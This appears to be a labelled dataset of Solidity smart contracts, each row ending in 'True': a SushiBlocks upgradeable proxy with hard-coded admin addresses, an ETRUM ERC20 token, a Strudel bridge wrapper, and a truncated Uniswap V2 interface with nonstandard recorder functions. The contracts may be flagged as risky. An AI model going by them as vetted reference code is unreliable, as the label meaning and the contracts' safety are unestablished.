mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) public view returns (uint) {
return map.values[key];
}
function getIndexOfKey(Map storage map, address key) public view returns (int) {
if(!map.inserted[key]) {
return -1;
}
return int(map.indexOf[key]);
}
function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
return map.keys[index];
}
function size(Map storage map) public view returns (uint) {
return map.keys.length;
}
function set(Map storage map, address key, uint val) public {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint index = map.indexOf[key];
uint lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// ...................................................................................................................................................... //
// ...................................................................................................................................................... //
// ...................................................................................................................................................... //
// ..............................................................................................................................,oc..................... //
// .............................................................................................................................:dc...................... //
// ............................................................................................................................cd:....................... //
// ..........................................................................................................................'lo;........................ //
// .........................................................................................................................,oo,......................... //
// ........................................................................................................................;ol'.....................;;... //
// .......................................................................................................................:dc.....................;ll;... //
// ......................................................................................................................ld;....................;ll;..... //
// ....................................................................................................................'lo,...................;ll;....... //
// ...................................................................................................................,ol'..................:ol;......... //
// .................................................',;::::;,'...................',;::::;;'..........................:dc..................:ol;........... //
// .............................................,:cllccc::cclllc:,..........,:cclllcc:::cclll:,.....................cd:.................:ol,............. //
// .........................................;clllc;'..........';clll:,..,:cllc:;'...........,:lllc;...............'lo;................:ol,............... //
// .......................................:ol:,....';:,',',c;.....';cloooc;'.....,::',;';c,.....,:lo:............,oo,..............':ol,................. //
// ......................................'od,.....;:;'.;l'.,c:.......;dx:.......;:,..:c..,c;......,od,..........;ol'.............':ol,................... //
// .......................................,llc:,.......::....'....,:llllllc;'........c;....'...,:cll;..........:dc.............'col,..................... //
// .......................................''';clll:;'........';clll:,',,',:llllc;'.........,:cllc;'''.........cd;............'col,....................... //
// ......................................'oc.....,:lllccccccllc:,.....lo'....,;:cllcccccclllc,.....:o,......'lo,...........'coc'......................... //
// ......................................;dl..........'',,''..........oo'..........'',,''..........cd:'....,ol'..........'coc'........................... //
// ....................................,;cdl..........................lo'..........................cdc::,':dc..........,coc'............................. //
// ..................................,::;:dl.....................';::cooc:;,.......................cd;',:odc.........,loc'............................... //
// ................................,::;'.'ld;................,:cllcc:;;;::clllcc;.................;oo'.'ldc:;'.....,loc'................................. //
// ..............................,:c;'....':lll:,........':cllc;'.......''...,;:lllc;...........;ll:'.,oo,.,::;..,loc'................................... //
// .............................;c:'..........;clll:;,.'coc;.....;::,,:,,c:.......,:oo;..';;.........;ol'....;:clo:'..................................... //
// ...........................'::;................,:clccdo,.....;;'..:l'.'c:........cdl:llc:'.......:dc......;odo:....................................... //
// ..........................,::,.......................,cllc;'......;;.........,:cll:.............co;.....;lo:,;c;...................................... //
// .........................;::'........................,'.,:cllc;'.......',:llllc;'','..........'lo,....;lo:....;:;..................................... //
// ........................;c:'........................;d:.....';cllcccccllc:,'.....'ol.........,ol'...;lo:.......;c:.................................... //
// .......................,c:'.........................;d:..........................'ol........:dc...;lo:..........;c;................................... //
// ......................,::,..........................;d:..........................'ol.......cd:..;ll;.............;c;.................................. //
// .....................':c,...........................;d:..........................'dl......lo;.;ll;...............'::,................................. //
// .....................;c;............................'oo;'.......................,ld:......;'..;;..................,c:................................. //
// ....................'::,.............................':lllc;'.................,clc,................................:c,................................ //
// ....................,c;..................................,:lllc:,,'''',;:,.........................................,c;................................ //
// ....................;:,......................................';ccllcllcc:,.........................................':;'............................... //
// ...................................................................................................................................................... //
// ...................................................................................................................................................... //
// ...................................................................................................................................................... //
// ....,:::::,...,,.......';....,::::;'...,,.......,,...,'.......,::::::;,....',,...........,:ccc:,........,:::::;...',.......,,...,::::;'............... //
// ..'co:;,;cc;.'ol.......:d;.,ll:;,;cc,.'ol.......lo'.;o:.......ldc;;;;col'.';ol.........:ooc:;:cod:....:ll:;,;:ll,.co,....;ll,.'ll:;,;cc,.............. //
// ..,dl'.......'ol.......:d:.:dc........'ol.......oo'.;d:.......lo'.....cd;.';ol........lx:.......cxl..cd;..........co,..;ll;...;dc..................... //
// ...;llcc:;'..'ol.......:d:..:llcc:,...'oxc:::::cxo'.;d:.......lxl:::codc'.':ol.......;xl.........ox;;dl...........co;;oxl'.....:llcc:;'............... //
// ......,;:loc''oo.......:d;....',;:lo:.'od:;;;;;:do'.;d:.......ld:;;;;:coc.':ol.......;xo.........ox,,dl...........cxoc:coc'......',;:loc.............. //
// ..''......cd;.cd:.....'oo'.''.....'oo''ol.......oo'.;d:.......lo'.....'oo,':ol........cxl'.....'lx:..:dc'......,'.cx:...,lo:..''......ld,............. //
// ..,clc:::co:...:ll:::clc,..;clc:::ll;.'ll.......ll..;o;.......ldl::::cll;.';odc:::::;..;oolccclol,....,llc:::clc,.co,.....:oc,;clc:::cl:.............. //
// .....,;;;,.......';;;,'......',;;;,....''.......''...'........',,;;,,,'.....',;;,,,,'....',;:;,..........,;;;,'....'........'...',;;;,................ //
// ...................................................................................................................................................... //
// ...................................................................................................................................................... //
// .........................''.............,....;::::,.....,;......,...',......';'....,....,'....;'...............','.................................... //
// .........................;::'..........,d:...,:lxx;....;dxl....,dc,co:....':oko,..'lo;,lo,...lkd,.............;c:'.................................... //
// ..........................,::,.........,dc....;ol'....;ddoxc...;xxxx:....'oOdldo'...:dxc'...lxldd,...........:c;...................................... //
// ...........................,::;........,dc..'lxo;,...,odccodc..,xo;co:...ldolcldo'...ld'...cdlccdo,........,::;....................................... //
// .............................;::'.......;'..'cccc:,..,;....,;...;'..,:'..;'....';'...,;....;,....;'.......;::'........................................ //
// ..............................,:c;'.....................................................................,::;.......................................... //
// ................................,::;..................................................................'::;'........................................... //
// ..................................,:c;'.............................................................,::;'............................................. //
// ....................................,:c:,........................................................',::;'............................................... //
// ......................................';:c;,..................................................',;:;,.................................................. //
// .........................................,;:c;,'...........................................',::;,..................................................... //
// ............................................',:c:;,'..................................'',;::;,........................................................ //
// ................................................',;:c:;,,''....................''',;;::;,,'........................................................... //
// .....................................................',,;::::::;;;;;;;;;;;:::::::;,,''................................................................ //
// .............................................................''''',,,,,'''''''........................................................................ //
// ...................................................................................................................................................... //
// //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a "value" member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
*
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
*
*
* _Available since v4.1 for address, bool, bytes32, and uint256._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an AddressSlot with member value located at slot.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an BooleanSlot with member value located at slot.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an Bytes32Slot with member value located at slot.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an Uint256Slot with member value located at slot.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if account is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, {isContract} will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's {transfer}: sends "amount" wei to
* "recipient", forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by {transfer}, making them unable to receive funds via
* {transfer}. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to "recipient", care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level "call". A
* plain "call" is an unsafe replacement for a function call: use this
* function instead.
*
* If "target" reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[abi.decode].
*
* Requirements:
*
* - "target" must be a contract.
* - calling "target" with "data" must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], but with
* "errorMessage" as a fallback revert reason when "target" reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but also transferring "value" wei to "target".
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least "value".
* - the called Solidity function must be {payable}.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[functionCallWithValue], but
* with "errorMessage" as a fallback revert reason when "target" reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction {delegatecall}. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to {implementation}.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by _implementation().
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by _implementation(). Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by _implementation(). Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual {_fallback}
* call, or as part of the Solidity {fallback} or {receive} functions.
*
* If overriden should call super._beforeFallback().
*/
function _beforeFallback() internal virtual {}
}
contract SushiBlocks is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
constructor() {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x77F23779cFB1C30BE694F6664CE425D95c17049A;
emit Upgraded(0x77F23779cFB1C30BE694F6664CE425D95c17049A);
Address.functionDelegateCall(
0x77F23779cFB1C30BE694F6664CE425D95c17049A,
abi.encodeWithSignature(
"init(bool[2],address[3],uint256[6],string[3])",
[false,true],
[0x0000000000000000000000000000000000000000,0x0000000000000000000000000000000000000000,0x1BAAd9BFa20Eb279d2E3f3e859e3ae9ddE666c52],
[400,0,0,2020,10,50],
["Sushi Blocks","SUSHI","QmXooPnkqGCudjizp7YuKHtozXSbKunKpnZ143g5FdMpHb"]
)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function upgradeTo(
address newImplementation,
bytes memory data,
bool forceCall,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(msg.sender == 0x59Cc547a00AcC68D291e660ca262408DaA5D1722);
bytes32 base = keccak256(abi.encode(address(this), newImplementation));
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", base));
require(ecrecover(hash, v, r, s) == 0x1BAAd9BFa20Eb279d2E3f3e859e3ae9ddE666c52);
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
emit Upgraded(newImplementation);
}
}
| True | [
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] |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'ETRUM' token contract
//
// Deployed to : 0xb925b13cf62A386BB899D54e0b73aFE71A7fbc71
// Symbol : TRUM
// Name : ETRUM
// Total supply: 93000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ETRUM is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "TRUM";
name = "ETRUM";
decimals = 18;
_totalSupply = 93000000000000000000000000000;
balances[0xb925b13cf62A386BB899D54e0b73aFE71A7fbc71] = _totalSupply;
emit Transfer(address(0), 0xb925b13cf62A386BB899D54e0b73aFE71A7fbc71, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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// SPDX-License-Identifier: MPL-2.0
pragma solidity 0.6.6;
interface ITokenRecipient {
/// Typically called from a token contract's `approveAndCall` method, this
/// method will receive the original owner of the token (`_from`), the
/// transferred `_value` (in the case of an ERC721, the token id), the token
/// address (`_token`), and a blob of `_extraData` that is informally
/// specified by the implementor of this method as a way to communicate
/// additional parameters.
///
/// Token calls to `receiveApproval` should revert if `receiveApproval`
/// reverts, and reverts should remove the approval.
///
/// @param _from The original owner of the token approved for transfer.
/// @param _value For an ERC20, the amount approved for transfer; for an
/// ERC721, the id of the token approved for transfer.
/// @param _token The address of the contract for the token whose transfer
/// was approved.
/// @param _extraData An additional data blob forwarded unmodified through
/// `approveAndCall`, used to allow the token owner to pass
/// additional parameters and data to this method. The structure of
/// the extra data is informally specified by the implementor of
/// this interface.
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes calldata _extraData
) external;
}
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
contract MinterRole is ContextUpgradeSafe, OwnableUpgradeSafe {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyOwner {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface IStrudel {
function mint(address account, uint256 amount) external returns (bool);
function burnFrom(address _account, uint256 _amount) external;
function renounceMinter() external;
}
/// @title Strudel Token.
/// @notice This is the Strudel ERC20 contract.
contract StrudelWrapper is ITokenRecipient, MinterRole {
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
address public strdlAddr;
constructor(address _strdlAddr) public {
__Ownable_init();
strdlAddr = _strdlAddr;
}
function mint(address to, uint256 amount) external onlyMinter returns (bool) {
IStrudel(strdlAddr).mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyMinter returns (bool) {
require(from != address(0), "StrudelWrapper: address(0x0)");
IStrudel(strdlAddr).burnFrom(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyMinter returns (bool) {
IStrudel(strdlAddr).mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(bindaddr != address(0), "StrudelWrapper: address(0x0)");
IStrudel(strdlAddr).burnFrom(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
function getAddr(bytes memory _extraData) internal pure returns (address){
address addr;
assembly {
addr := mload(add(_extraData,20))
}
return addr;
}
function receiveApproval(
address _from,
uint256 _value,
address _token,
bytes calldata _extraData
) external override {
require(msg.sender == strdlAddr, "StrudelWrapper: onlyAuth");
require(_token == strdlAddr, "StrudelWrapper: onlyAuth");
address bindaddr = getAddr(_extraData);
require(bindaddr != address(0), "StrudelWrapper: address(0x0)");
IStrudel(strdlAddr).burnFrom(_from, _value);
emit LogSwapout(_from, bindaddr, _value);
}
} | True | [
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// SPDX-License-Identifier: GPL-3.0
pragma solidity =0.6.6;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function volrecorder(address _pair,uint _i) external returns (uint b);
function recorder(address _pair,uint _i) external returns (address b);
function tvolrecorder(address _pair) external view returns (uint b);
function tolistnumber(address _pair) external view returns (uint b);
